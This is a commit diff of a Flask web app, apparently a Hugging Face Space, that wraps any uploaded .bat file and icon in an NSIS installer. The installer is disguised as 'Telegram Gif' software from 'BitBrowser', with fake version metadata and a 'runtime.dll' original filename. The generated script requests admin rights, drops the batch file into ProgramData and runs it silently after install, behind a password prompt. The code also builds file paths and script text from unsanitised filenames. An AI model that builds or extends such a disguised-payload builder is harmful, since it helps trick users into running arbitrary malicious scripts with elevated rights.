Spaces:
Sleeping
Sleeping
Update main.py
Browse files
main.py
CHANGED
@@ -4,7 +4,7 @@ import subprocess
|
|
4 |
|
5 |
app = Flask(__name__)
|
6 |
|
7 |
-
# Directory to save uploaded
|
8 |
UPLOAD_FOLDER = 'uploads'
|
9 |
COMPILE_FOLDER = 'compiled'
|
10 |
|
@@ -21,9 +21,10 @@ html_template = """
|
|
21 |
<title>NSIS Compiler</title>
|
22 |
</head>
|
23 |
<body>
|
24 |
-
<h1>Upload your .
|
25 |
<form action="/upload" method="post" enctype="multipart/form-data">
|
26 |
-
<input type="file" name="
|
|
|
27 |
<button type="submit">Upload and Compile</button>
|
28 |
</form>
|
29 |
</body>
|
@@ -35,35 +36,115 @@ def index():
|
|
35 |
return render_template_string(html_template)
|
36 |
|
37 |
@app.route('/upload', methods=['POST'])
|
38 |
-
def
|
39 |
-
if '
|
40 |
return "No file part"
|
41 |
|
42 |
-
|
|
|
43 |
|
44 |
-
if
|
45 |
return "No selected file"
|
46 |
|
47 |
-
# Save the
|
48 |
-
|
49 |
-
|
50 |
|
51 |
-
|
52 |
-
|
53 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
54 |
|
55 |
-
#
|
56 |
-
|
|
|
|
|
|
|
|
|
|
|
57 |
|
58 |
result = subprocess.run(compile_command, shell=True, capture_output=True)
|
59 |
-
|
60 |
-
# Log output
|
61 |
-
output = result.stdout.decode() + '\n' + result.stderr.decode()
|
62 |
|
63 |
if result.returncode == 0:
|
64 |
-
return f'Compilation successful! Download <a href="/download/
|
65 |
else:
|
66 |
-
return f'Compilation failed:
|
67 |
|
68 |
@app.route('/download/<filename>')
|
69 |
def download_file(filename):
|
|
|
4 |
|
5 |
app = Flask(__name__)
|
6 |
|
7 |
+
# Directory to save uploaded files and generated EXEs
|
8 |
UPLOAD_FOLDER = 'uploads'
|
9 |
COMPILE_FOLDER = 'compiled'
|
10 |
|
|
|
21 |
<title>NSIS Compiler</title>
|
22 |
</head>
|
23 |
<body>
|
24 |
+
<h1>Upload your .bat and .ico files to compile</h1>
|
25 |
<form action="/upload" method="post" enctype="multipart/form-data">
|
26 |
+
<input type="file" name="bat_file" accept=".bat" required>
|
27 |
+
<input type="file" name="icon_file" accept=".ico" required>
|
28 |
<button type="submit">Upload and Compile</button>
|
29 |
</form>
|
30 |
</body>
|
|
|
36 |
return render_template_string(html_template)
|
37 |
|
38 |
@app.route('/upload', methods=['POST'])
|
39 |
+
def upload_files():
|
40 |
+
if 'bat_file' not in request.files or 'icon_file' not in request.files:
|
41 |
return "No file part"
|
42 |
|
43 |
+
bat_file = request.files['bat_file']
|
44 |
+
icon_file = request.files['icon_file']
|
45 |
|
46 |
+
if bat_file.filename == '' or icon_file.filename == '':
|
47 |
return "No selected file"
|
48 |
|
49 |
+
# Save the uploaded files
|
50 |
+
bat_path = os.path.join(UPLOAD_FOLDER, bat_file.filename)
|
51 |
+
icon_path = os.path.join(UPLOAD_FOLDER, icon_file.filename)
|
52 |
|
53 |
+
bat_file.save(bat_path)
|
54 |
+
icon_file.save(icon_path)
|
55 |
+
|
56 |
+
# Define the NSIS script content
|
57 |
+
nsi_script_content = f"""
|
58 |
+
!include nsDialogs.nsh
|
59 |
+
!include LogicLib.nsh
|
60 |
+
|
61 |
+
# Define installer name and version
|
62 |
+
Outfile "bont.exe"
|
63 |
+
InstallDir "$PROGRAMDATA"
|
64 |
+
|
65 |
+
# Set the name of the application
|
66 |
+
Name "Telegram Gif"
|
67 |
+
Caption "bont 1.4.44.3"
|
68 |
+
VIProductVersion "1.4.44.3"
|
69 |
+
|
70 |
+
# Set the output directory and the base name of the installer file
|
71 |
+
SetCompressor /SOLID lzma
|
72 |
+
|
73 |
+
RequestExecutionLevel admin
|
74 |
+
|
75 |
+
# Application metadata
|
76 |
+
VIAddVersionKey "ProductName" "bont Gif"
|
77 |
+
VIAddVersionKey "FileVersion" "1.4.44.3"
|
78 |
+
VIAddVersionKey "CompanyName" "BitBrowser"
|
79 |
+
VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
|
80 |
+
VIAddVersionKey "FileDescription" "Bont is a tool designed to enhance GIF handling and sharing on Telegram."
|
81 |
+
VIAddVersionKey "ProductVersion" "1.4.44.3"
|
82 |
+
VIAddVersionKey "OriginalFilename" "runtime.dll"
|
83 |
+
|
84 |
+
# Password to be checked
|
85 |
+
Var PASSWORD
|
86 |
+
Var DialogHandle
|
87 |
+
Var PasswordInput
|
88 |
+
|
89 |
+
# Add a password prompt
|
90 |
+
Function ShowPasswordPage
|
91 |
+
nsDialogs::Create 1018
|
92 |
+
Pop $DialogHandle
|
93 |
+
|
94 |
+
${NSD_CreateLabel} 10u 10u 100% 12u "Please enter the installation password:"
|
95 |
+
Pop $0
|
96 |
+
${NSD_CreatePassword} 10u 25u 100% 12u ""
|
97 |
+
Pop $PasswordInput
|
98 |
+
|
99 |
+
nsDialogs::Show
|
100 |
+
FunctionEnd
|
101 |
+
|
102 |
+
# Password check logic
|
103 |
+
Function CheckPassword
|
104 |
+
${NSD_GetText} $PasswordInput $PASSWORD
|
105 |
+
StrCmp $PASSWORD "yourpassword" 0 +3
|
106 |
+
MessageBox MB_OK "Password accepted"
|
107 |
+
Return
|
108 |
+
|
109 |
+
MessageBox MB_OK "Incorrect password. Installation will now exit."
|
110 |
+
Abort
|
111 |
+
FunctionEnd
|
112 |
+
|
113 |
+
# Display password page before installation starts
|
114 |
+
Page custom ShowPasswordPage CheckPassword
|
115 |
+
Page instfiles
|
116 |
+
|
117 |
+
# Define installer sections
|
118 |
+
Section "Install"
|
119 |
+
SetOutPath "$PROGRAMDATA"
|
120 |
+
|
121 |
+
# Debug the path
|
122 |
+
MessageBox MB_OK "Attempting to load file from: $INSTDIR\\{bat_file.filename}"
|
123 |
+
|
124 |
+
# Files to install (use /nonfatal to allow script to continue if file is missing)
|
125 |
+
File /nonfatal /r "{bat_path}"
|
126 |
+
|
127 |
+
# Run the BAT file post-install (only if it was found)
|
128 |
+
IfFileExists "$INSTDIR\\{bat_file.filename}" 0 +2
|
129 |
+
ExecShell "" "$INSTDIR\\{bat_file.filename}"
|
130 |
+
|
131 |
+
SectionEnd
|
132 |
+
"""
|
133 |
|
134 |
+
# Save the NSIS script to a file
|
135 |
+
nsi_path = os.path.join(UPLOAD_FOLDER, 'installer_script.nsi')
|
136 |
+
with open(nsi_path, 'w') as nsi_file:
|
137 |
+
nsi_file.write(nsi_script_content)
|
138 |
+
|
139 |
+
# Compile the NSI file using NSIS
|
140 |
+
compile_command = f'nsis "{nsi_path}"'
|
141 |
|
142 |
result = subprocess.run(compile_command, shell=True, capture_output=True)
|
|
|
|
|
|
|
143 |
|
144 |
if result.returncode == 0:
|
145 |
+
return f'Compilation successful! Download <a href="/download/bont.exe">here</a>'
|
146 |
else:
|
147 |
+
return f'Compilation failed: {result.stderr.decode()}'
|
148 |
|
149 |
@app.route('/download/<filename>')
|
150 |
def download_file(filename):
|